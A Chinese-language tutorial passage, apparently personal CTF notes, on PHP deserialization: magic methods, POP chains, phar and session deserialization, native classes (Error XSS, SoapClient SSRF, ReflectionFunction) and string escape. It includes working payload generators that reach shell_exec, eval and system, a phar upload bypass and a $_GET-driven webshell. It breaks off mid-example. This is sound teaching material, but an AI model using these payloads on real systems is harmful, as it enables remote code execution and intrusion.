<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __set($name,$value){
        echo "ZLARYY!!!";
        echo "No Permission:".$name;
        $this->Arach = $value;
    }

    function Val(){
        var_dump($this->Arach);
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$ZL47yY->Arach=false;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$ZL47yY->Val();

如果代码允许，我们可以给私有属性赋值

# __get()：

当访问一个对象的不存在或不可访问的属性时自动调用，传递属性名作为参数。

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __get($name){
        echo "ZLARYY!!!";
        echo "Are you sure there is ".$name."?";
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$ZL47yY->ilyy4;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

$name存储不可访问或不存在的属性名：即把ilyy4替换为Arach一样可以触发，同样的$ name必须存在

# __isset()：

当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用，传递属性名作为参数。

或者说检测对象的某个属性是否存在时执行此函数

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __isset($name){
        echo "ZLARYY!!!";
        echo "Are you sure there is ".$name."?";
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
isset($ZL47yY->illy4);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

与__get()一样，$name也是必不可少，把illy4替换为Arach、Chesmond或者把isset替换为empty都会触发

# __unset()：

当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用，传递属性名作为参数。

//unset一个不可访问的属性或者不存在的属性
<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __unset($name){
        echo "ZLARYY!!!";
        echo "Unset ".$name."!";
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
unset($ZL47yY->Chesmond);
echo "</br>now?";
unset($ZL47yY->illy4);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

但是由于Chesmond的protected属性，最终无法真正被销毁，但是public就不一样了：

O:6:"ZLARYY":2:{s:11:"*Chesmond";s:5:"L47yY";s:13:"ZLARYYArach";b:1;}

可以看到也只触发了一次__unset()

# __clone()：

当使用 clone 关键字复制一个对象时自动调用。

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __clone(){
        echo "ZLARYY!!!";
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$illy4 = clone $ZL47yY;
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
print_r(serialize($illy4));

能触发并且成功clone

# __debugInfo()：

在使用 var_dump() 打印对象时自动调用，用于自定义对象的调试信息。

注：这个魔术方法在5.6.0被引进

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __debugInfo(){
        echo "ZLARYY!!!";
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
var_dump($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

同时我们可以利用这个魔术方法自定义返回的数组

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __debugInfo(){
        echo "ZLARYY!!!";
        return [
            'xiexie' => "CTFer",
            'Chesmond' => $this->Chesmond
        ];
    }

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
var_dump($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

# __set_state()：

在使用 var_export() 导出类时自动调用，用于返回一个包含类的静态成员的数组。

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    static function __set_state(){
        echo "ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$code = var_export($ZL47yY,true);
echo "</br>now?";
eval($code.';');
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

调用这个魔术方法不仅仅只var_export一个对象，还需要将生成的内容拿去执行，也就是eval($code,';')部分

var_export() 不会 执行 __set_state() 方法。 它只是生成了一段代码字符串，这段代码里包含了对 __set_state() 的调用。
只有当你把这段生成的代码拿去 执行（例如使用 eval() 或者写入文件后 include）时，__set_state() 才会被真正触发。

# POP链

POP链（Property-Oriented Programming Chain）是一种通过控制对象属性来构造的调用链，利用一系列魔术方法之间的调用关系，最终达到执行任意代码的目的。

这里采用几道例题来展示：

# POLARD&N简单上的php反序列化初试：

题目内容：

<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

这道题很明显在第一个类Easy中有个echo语句可以触发第二个类Evil的toString方法，利用echo把对象Evil当做字符串执行，进而触发shell_exec

payload如下：

<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil='sort fl@g.php;';
    public $env=" ";
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}
$a=new Easy();
$b=new Evil();
$a->name=$b;
print_r(serialize($a));

这道题我们可以直接修改env属性为public直接传入

# phar反序列化

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展php反序列化漏洞的攻击面

phar文件结构：

1.a stub
    可以理解为一个标志，格式为xxx<?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();来结尾，否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
	phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
	签名，放在文件末尾

phar文件生成：

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

这里给一下其他脚本大佬的注释：

<?php

// 1. 定义核心恶意类：funny
class funny{
    // __destruct()是PHP魔术方法：当对象被销毁（如脚本结束、unset、反序列化后）时自动执行
    function __destruct() {
        // global $flag：声明使用全局变量$flag（目标服务器中通常存储flag）
        global $flag;
        // 输出$flag——这是漏洞利用的最终目标（获取flag）
        echo $flag;
    }
}

// 2. 清理旧文件：避免同名文件导致创建失败
// @：抑制unlink的错误（比如文件不存在时的报错）
@unlink("exp1.phar");

// 3. 创建phar文件核心流程
// 实例化Phar类，创建exp1.phar文件（后缀必须是.phar，PHP识别phar文件的基础）
$phar = new Phar("exp1.phar");

// 开启phar缓冲区：所有操作先写入内存，不直接刷到磁盘（避免频繁IO）
$phar->startBuffering();

// 设置phar的Stub（标识头）：必须以<?php __HALT_COMPILER(); ?>结尾，PHP才能识别为phar文件
// 这是phar文件的“身份标识”，无此内容PHP不会解析为phar文件
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 关键：创建funny类的实例（对象）
$b =new funny();

// 将funny对象存入phar的元数据（metadata）
// 注意注释：不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest（清单）
$phar->setMetadata($b);

// 向phar归档中添加一个空文件（test.txt），内容为"test"
// 核心要求：phar文件必须包含至少一个文件内容（否则创建失败），这行是满足格式要求的“占位符”
$phar->addFromString("test.txt", "test");

// 结束缓冲区：将内存中的操作刷到磁盘，自动计算phar文件的签名（完成创建）
$phar->stopBuffering();

// 4. 读取并编码phar文件内容
// 读取生成的exp1.phar文件的二进制内容
$content = file_get_contents('exp1.phar');

// 先base64编码（处理二进制内容），再urlencode（避免传输时乱码），最后换行
echo urlencode(base64_encode($content)) . "<br>";

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化

# [HNCTF 2022 WEEK3]ez_phar

这道例题直接进去给了我们这些信息：

<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>

还提示我们要upload something

dirsearch扫一下就可以知道这里存在一个upload.php，并且上传的文件保存在/upload下

利用phar文件生成的php代码，我们实例化一个Flag类之后将code赋值为system('ls');

<?php
error_reporting(1);
class Flag{
    public $code;
}

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Flag();
    $o ->code  = "system('ls');";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

我们尝试上传这一个.phar文件，不过给了我们这样一个警告：

only jpg png jpeg

不过这也无伤大雅，我们可以把phar文件的后缀名修改为png，由于phar协议的特性让上传的.png文件也可以被解压缩，（详细看本博客上一篇SSRF各种协议）

修改phar文件内容，ls /能看到ffflllaaaggg

# session反序列化

内容来自：https://www.freebuf.com/articles/web/324519.html

在学习session反序列化之前我们先来了解一些处理器和配置项：

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数，如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话，默认值为 0，不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字，默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪，并填充$ _SESSION变量，默认启用
session.upload_progress.cleanup= oN --读取所有POST数据（即完成上传）后立即清理进度信息，默认启用

# PHP session序列化机制

根据php.ini中的配置项，我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中，使用的三种不同的处理格式，即session.serialize_handler定义的三种引擎：

处理器	对应的存储格式
php	键名＋竖线＋经过 serialize() 函数反序列处理的值
php_binary	键名的长度对应的 ASCII 字符＋键名＋经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)	经过 serialize() 函数反序列处理的数组

# php处理器

1.首先来看看默认session.serialize_handler = php时候的序列化结果

<?php
session_start();
$_SESSION['flag']=$_GET['flag'];
echo $_SESSION['flag'];

flag|s:14:"ZLARYY{2l47yY}"

可见默认下存储格式为键名+|加上序列化字符串

在看大佬文章的时候我就想试试如果键名为空会发生什么：

<?php
session_start();
$_SESSION=$_GET['FLAG'];
var_dump($_SESSION);

的确能输出：

string(14) "ZLARYY{2l47yY}"

但是session文件是空的

2.php_serialize处理器：

即session.serialize_handler = php_serialize

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['flag1']=$_GET['flag1'];
echo $_SESSION['flag1'];

a:1:{s:5:"flag1";s:14:"ZLARYY{2l47yY}";}

文件内容即经过 serialize() 函数反序列处理的数组

3.php_binary处理器：

即session.serialize_handler = php_binary

<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sevensevensevensevensevensevenseven']=$_GET['sevensevensevensevensevensevenseven'];
echo $_SESSION['sevensevensevensevensevensevenseven'];

#sevensevensevensevensevensevensevens:14:"ZLARYY{2l47yY}";

为了方便展示这里用了长度为35，ASCII字符为#的键名，这里键名最后的s表示String

# session反序列化漏洞

session的反序列化漏洞，就是利用php处理器和php_serialize处理器的存储格式差异而产生，通过具体的代码我们来看下漏洞出现的原因

首先创建session.php，使用php_serialize处理器来存储session数据

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];

接着再创建一个liu.php，使用默认php处理器来存储session数据

<?php
session_start();
class ZLARYY{
    public $xiexie = "phpinfo()";
    public $Chesmond;
    public $Arach;

    function __construct(){
        echo "ZLARYY!!!";   
    }
    function __wakeup(){
        echo "im ready to be unserialized";
    }
    function __destruct(){
        echo "Finished";
    }
}

接着，我们构建URL进行访问session.php：

http://ZLARYY.com/session.php?session=|O:6:"ZLARYY":3:{s:6:"xiexie";s:9:"phpinfo()";s:8:"Chesmond";N;s:5:"Arach";N;}

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:78:"|O:6:"ZLARYY":3:{s:6:"xiexie";s:9:"phpinfo()";s:8:"Chesmond";N;s:5:"Arach";N;}";}

这时，由于浏览器中保存的PHPSEED文件名不变，当我们把用session.php生成的PHPSEEID文件一并带去访问另一个liu.php，再加上liu.php的PHPSEEID文件存储形式为默认，那么就会把|后面的内容反序列化，造成如下结果：

注：反序列化字符串这个行为不会触发__construct()

php session工作流程如下：

以PHP为例，理解session的原理
1.PHP脚本使用 session_start()时开启session会话，会自动检测PHPSESSID
    如果Cookie中存在，获取PHPSESSID
    如果Cookie中不存在，创建一个PHPSESSID，并通过响应头以Cookie形式保存到浏览器
2.初始化超全局变量$_SESSION为一个空数组
3.PHP通过PHPSESSID去指定位置（PHPSESSID文件存储位置）匹配对应的文件
    存在该文件：读取文件内容（通过反序列化方式），将数据存储到$_SESSION中
    不存在该文件： session_start()创建一个PHPSESSID命名文件
4.程序执行结束，将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

# 原生类反序列化

在学习这一块的时候注意到了一篇文章用脚本枚举了有魔术方法的所有内置类:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

结果如下：

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
AssertionError::__wakeup
AssertionError::__toString
SodiumException::__wakeup
SodiumException::__toString
PDOException::__wakeup
PDOException::__toString
DOMException::__wakeup
DOMException::__toString
FFI\Exception::__wakeup
FFI\Exception::__toString
FFI\ParserException::__wakeup
FFI\ParserException::__toString
IntlException::__wakeup
IntlException::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
PhpToken::__toString

挑几个重点的说吧：

# Error类

适用于 php7 版本
在开启报错的情况下

给了一个类摘要：

Error implements Throwable {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类属性：

message：错误消息内容
code：错误代码
file：抛出错误的文件名
line：抛出错误在该文件中的行数
类方法：

Error::__construct — 初始化 error 对象
Error::getMessage — 获取错误信息
Error::getPrevious — 返回先前的 Throwable
Error::getCode — 获取错误代码
Error::getFile — 获取错误发生时的文件
Error::getLine — 获取错误发生时的行号
Error::getTrace — 获取调用栈（stack trace）
Error::getTraceAsString — 获取字符串形式的调用栈（stack trace）
Error::__toString — error 的字符串表达
Error::__clone — 克隆 error

Error类是 php 的一个内置类，用于自动自定义一个 Error，在 php7 的环境下可能会造成一个 xss 漏洞，因为它内置有一个 __toString() 的方法，常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了，不如尝试利用这个来做一个 xss，直接使用 echo <Object> 的写法，当 PHP 对象被当作一个字符串输出或使用时候（如echo的时候）会触发 __toString 方法

<?php
$a = new Error("ZLARYY");
echo $a;

当我们执行这串代码之后，我们会看到如下结果：

Error: ZLARYY in D:\phpstudy_pro\WWW\liu.php:2 Stack trace: #0 {main}

其中ZLARYY字符串部分我们可控，就可能造成XSS漏洞

比如：

<?php
$a = new Error("<script>alert(1)</script>");
echo $a;

# Exception类

适用于 php5、7版本
开启报错的情况下

与Error类完全一样，就不多说了

Exception: ZLARYY in D:\phpstudy_pro\WWW\liu.php:2 Stack trace: #0 {main}

但也粘贴一下给的类摘要吧：

Exception {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类属性：
message：异常消息内容
code：异常代码
file：抛出异常的文件名
line：抛出异常在该文件中的行号
类方法：
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回异常链中的前一个异常
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆

# SoapClient类

PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类，可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到，该内置类有一个 __call 方法，当 __call 方法被触发后，它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法，使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下：

public SoapClient :: SoapClient(mixed $wsdl [，array $options ])

第一个参数是用来指明是否是 wsdl 模式，将该值设为 null 则表示非 wsdl 模式。
第二个参数为一个数组，如果在 wsdl 模式下，此参数可选；如果在非 wsdl 模式下，则必须设置 location 和 uri 选项，其中 location 是要将请求发送到的 SOAP 服务器的 URL，而 uri 是 SOAP 服务的目标命名空间。

WEB服务的三要素：SOAP WSDL UDDI
1.SOAP:SOAP 协议是一种基于 XML 的协议，用于在 Web 应用程序之间进行交互，主要用于 Web 服务。
2.WSDL:是一种 XML 文档，用于描述 Web 服务。
3.UDDI:是一个用于发布和发现 Web 服务的目录服务，它提供了一种标准的方式来描述 Web 服务的元数据信息，并将这些信息注册到 UDDI 目录中。

我尝试用以下这段代码去触发一个SSRF

<?php
$a = new SoapClient(null,array('location' => 'http://192.168.1.40:5000', 'uri' => 'http://test-uri'));
$a->flag();

from flask import Flask

app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def hello():
    return 'Hello'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=False)

192.168.1.40 - - [15/Feb/2026 17:08:33] "POST / HTTP/1.1" 200 -

的确POST一个内容上去

但是，由于它仅限于 HTTP/HTTPS 协议，所以用处不是很大。而如果这里 HTTP 头部还存在 CRLF 漏洞的话，但我们则可以通过 SSRF + CRLF，插入任意的 HTTP 头。

# 反射类Reflection

# ReflectionClass

ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。

public ReflectionClass::__construct(mixed $argument)

$argument：既可以是包含类名的字符串（string）也可以是对象（object）。

比如一下这段代码：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!</br>";
    }
}
$a = new ZLARYY();
echo new ReflectionClass('ZLARYY');

它能把类里面属性和方法的名字都能够显示出来。

这个类还有一个特别的用处是给私有属性赋值：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!</br>";
    }
}

就比如上述代码中如果我想要给Arach属性赋值true，我可以利用ReflectionClass：

$a = new ZLARYY();
$ref = new ReflectionClass($a);
$Arach = $ref->getProperty('Arach');  //获取名为'Arach'的属性（即使它是私有的）
$Arach->setAccessible(true);   //将私有属性设置为可访问
$Arach->setvalue($a,true);  //将$a对象的Arach属性值设置为true

通过序列化字符串结果b:1可见Arach成功在类外被赋值为true

# ReflectionFunction

这个内置类可以用来辅助调用匿名函数，其中的invokeArgs()方法也可以用来写webshell

先说调用匿名函数的事吧，如下：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie=1;
    protected $Chesmond;
    private $Arach = true;

    function __wakeup(){
        echo "ZLARYY!!!</br>";
    }
}
$func = function (){
    echo "You absolutely execute it!";
};
$a = new ReflectionFunction($func);
$a->invoke();

可以看到如果我们新创建了一个ReflectionFunction实例，并将函数名放在里面作为参数调用invoke()方法就能实现调用函数，那如果没有$func呢？如下：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
create_function("",'echo "You absolutely execute it!";');

如果我想调用这个create_function该怎么办？

$a = new ReflectionFunction("\0lambda_1");
$a->invoke();

这里用\0lambda_1是由于默认情况下create_function返回的字符串为\0lambda_1

由于多次试验会造成\0lambda_后跟的数字增加，所以这里用的\0lambda_3来演试，在做题中一般都是\0lambda_1

接下来说说用invokeArgs()来写webshell：

public ReflectionFunction::invokeArgs(array $args): mixed

$args：传递给函数的参数是一个数组，像 call_user_func_array() 的工作方式。

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
function ZL47yY(){
    return "what did you see?";
}
$function = new ReflectionFunction('ZL47yY');
echo $function->invokeArgs(array());
function illy4($str1,$str2){
    return sprintf("%s and %s", $str1, $str2);
}
$function2 = new ReflectionFunction('illy4');
echo $function2->invokeargs(array('yes','no'));

其实相当于是执行了：

echo ZL47yY();
echo illy4('yes','no');

那么如果yes和no部分我们可控会造成什么？

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
$function = new ReflectionFunction($_GET['a']);
$function->invokeArgs(array($_GET['b']));

也就是执行了：

echo system('whoami');

参考文章：https://drun1baby.top/2023/04/11/PHP-原生类学习/

# 利用ArrayObject绕过O开头序列化字符串

正常情况下，如下代码：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
$a = new ZLARYY();
print_r(serialize($a));

产生的序列化字符串应该为O开头：

O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

但如果有些题目不允许O开头的内容传入，我们该怎么绕过呢？

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $xiexie;
    protected $Chesmond;
    private $Arach;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
$a = new ZLARYY();
print_r(serialize($a));
echo "</br>";
$arr = array("test"=>$a);
$oa = new ArrayObject($arr);
print_r(serialize($oa));

这样的话产生的序列化字符串为：

C:11:"ArrayObject":108:{x:i:0;a:1:{s:4:"test";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}};m:a:0:{}}

PHP序列化字符串以'O'和'C'开头分别代表普通对象和自定义序列化对象。'O'代表普通类实例，结构为 O:长度:"类名":属性数:{属性}，反序列化时自动触发__wakeup()或__destruct()。'C'代表实现了Serializable接口的类，结构为 C:长度:"类名":数据长度:{数据}，利用serialize()和unserialize()自定义数据格式。

具体区别如下：
O (Object):
结构：O:4:"User":2:{s:2:"id";i:1;}
特点：序列化所有成员属性，反序列化时会自动触发__wakeup()方法（如果存在）。
C (Custom Object):
结构：C:4:"User":13:{...自定义数据...}
特点：针对实现了Serializable接口的类，使用自定义的serialize()和unserialize()方法来控制序列化内容，__wakeup()不会被触发。

# 字符串逃逸

字符串逃逸是指在处理字符串时，通过特定的构造或操作，使得字符串的内容被错误解析或跳过，从而实现意料之外的效果。这种技术常见于反序列化漏洞中，尤其是在PHP等语言中，利用字符串长度的变化或过滤器的处理缺陷，达到修改或注入数据的目的。字符串逃逸分为两种情况：增加和减少

# 字符串逃逸-增加

这里选择D0g3三面题目作为例题：

<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='lu1ux')
            {
                include('flag1.php');
                echo $flag1;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }
function filter($string){
    return str_replace('php','hack',$string);
}
$uname=$_GET['id'];
$password='Eurake';
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

在这道题目中 $uname部分我们可控，$ password他预先赋值为Eurake，我们要做的就是绕过这个原本的赋值将$password赋值为lu1ux

由于我手上没有题目环境了，所以我把题目稍稍修改了一下：

<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='lu1ux')
            {
                echo "flag is ZLARYY{2L47yY}";     
            }
            else
            {
                echo 'wrong password';
            }
        }
    }
function filter($string){
    return str_replace('php','hack',$string);
}
$a = new a();
$a->password='Eurake';
$ser=filter(serialize($a));
$test=unserialize($ser);
//$uname可控

当我把uname赋值为php，我们输出一下序列化字符串：

